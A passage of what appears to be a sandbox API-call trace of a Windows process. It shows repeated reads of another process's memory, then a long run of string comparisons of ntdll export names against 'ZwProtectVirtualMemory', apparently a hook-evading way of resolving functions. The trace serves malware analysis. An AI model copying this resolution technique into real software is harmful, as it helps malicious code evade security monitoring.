returned 0x0 [0137.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086a000, Buffer=0x7fff, BufferSize=0x25ba000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086b000, Buffer=0x7fff, BufferSize=0x25bb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086c000, Buffer=0x7fff, BufferSize=0x25bc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086d000, Buffer=0x7fff, BufferSize=0x25bd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086e000, Buffer=0x7fff, BufferSize=0x25be000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.725] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086f000, Buffer=0x7fff, BufferSize=0x25bf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.726] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0870000, Buffer=0x7fff, BufferSize=0x25c0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.726] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0871000, Buffer=0x7fff, BufferSize=0x25c1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.726] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0872000, Buffer=0x7fff, BufferSize=0x25c2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0873000, Buffer=0x7fff, BufferSize=0x25c3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0874000, Buffer=0x7fff, BufferSize=0x25c4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0875000, Buffer=0x7fff, BufferSize=0x25c5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0876000, Buffer=0x7fff, BufferSize=0x25c6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0877000, Buffer=0x7fff, BufferSize=0x25c7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0878000, Buffer=0x7fff, BufferSize=0x25c8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.727] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0879000, Buffer=0x7fff, BufferSize=0x25c9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.728] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087a000, Buffer=0x7fff, BufferSize=0x25ca000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.728] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087b000, Buffer=0x7fff, BufferSize=0x25cb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.728] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087c000, Buffer=0x7fff, BufferSize=0x25cc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.728] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087d000, Buffer=0x7fff, BufferSize=0x25cd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.728] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087e000, Buffer=0x7fff, BufferSize=0x25ce000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.728] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087f000, Buffer=0x7fff, BufferSize=0x25cf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.728] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0880000, Buffer=0x7fff, BufferSize=0x25d0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.729] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0881000, Buffer=0x7fff, BufferSize=0x25d1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.729] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0882000, Buffer=0x7fff, BufferSize=0x25d2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.729] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0883000, Buffer=0x7fff, BufferSize=0x25d3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.729] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0884000, Buffer=0x7fff, BufferSize=0x25d4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0137.863] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwProtectVirtualMemory") returned -1 [0137.863] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwProtectVirtualMemory") returned -1 [0137.863] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwProtectVirtualMemory") returned -1 [0137.863] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwProtectVirtualMemory") returned -1 [0137.863] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0137.863] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0137.863] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwProtectVirtualMemory") returned -1 [0137.863] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="ApiSetQueryApiSetPresence", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrClientCallServer", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrGetProcessId", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="ZwProtectVirtualMemory") returned -1 [0137.864] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgBreakPoint", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgPrint", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgPrintEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgPrompt", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiContinue", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiConvertStateChangeStructureEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="ZwProtectVirtualMemory") returned -1 [0137.865] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEventEnabled", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEventRegister", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEventSetInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEventUnregister", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEventWrite", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="ZwProtectVirtualMemory") returned -1 [0137.866] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwEventWriteString", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwReplyNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwSendNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwSetMark", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwTraceMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="ZwProtectVirtualMemory") returned -1 [0137.868] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="KiUserInvertedFunctionTable", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrAccessResource", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrAddDllDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrAddRefDll", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrAppxHandleIntegrityFailure", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrEnumResources", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrFastFailInLoaderCallout", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrFindResource_U", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="ZwProtectVirtualMemory") returned -1 [0137.869] lstrcmpA (lpString1="LdrGetDllDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetDllFullName", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetDllPath", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetFailureData", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrGetProcedureAddressForCaller", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrLoadDll", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrLockLoaderLock", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrOpenImageFileOptionsKey", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrProcessInitializationComplete", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrProcessRelocationBlock", lpString2="ZwProtectVirtualMemory") returned -1 [0137.870] lstrcmpA (lpString1="LdrProcessRelocationBlockEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptions", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptionsEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrQueryImageFileKeyOption", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrQueryModuleServiceTags", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrQueryOptionalDelayLoadedAPI", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrQueryProcessModuleInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrRegisterDllNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrRemoveDllDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrRemoveLoadAsDataTable", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrResFindResource", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrResFindResourceDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrResGetRCConfig", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrResRelease", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrResSearchResource", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrResolveDelayLoadedAPI", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrResolveDelayLoadsFromDll", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrRscIsTypeExist", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrSetAppCompatDllRedirectionCallback", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrSetDefaultDllDirectories", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrSetDllDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrSetDllManifestProber", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrSetImplicitPathOptions", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrSetMUICacheType", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrShutdownProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0137.871] lstrcmpA (lpString1="LdrShutdownThread", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrStandardizeSystemPath", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrSystemDllInitBlock", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrUnloadAlternateResourceModule", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrUnloadAlternateResourceModuleEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrUnloadDll", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrUnlockLoaderLock", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrUnregisterDllNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksum", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksumEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrpResGetMappingSize", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="LdrpResGetResourceDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="MD4Final", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="MD4Init", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="MD4Update", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="MD5Final", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="MD5Init", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="MD5Update", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="NlsAnsiCodePage", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="NlsMbCodePageTag", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="NlsMbOemCodePageTag", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="NtAcceptConnectPort", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="NtAccessCheck", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="NtAccessCheckAndAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0137.872] lstrcmpA (lpString1="NtAccessCheckByType", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAccessCheckByTypeAndAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAccessCheckByTypeResultList", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarm", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarmByHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAddAtom", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAddAtomEx", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAddBootEntry", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAddDriverEntry", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAdjustGroupsToken", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAdjustPrivilegesToken", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAdjustTokenClaimsAndDeviceGroups", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAlertResumeThread", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAlertThread", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAlertThreadByThreadId", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAllocateLocallyUniqueId", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAllocateReserveObject", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAllocateUserPhysicalPages", lpString2="ZwProtectVirtualMemory") returned -1 [0137.873] lstrcmpA (lpString1="NtAllocateUuids", 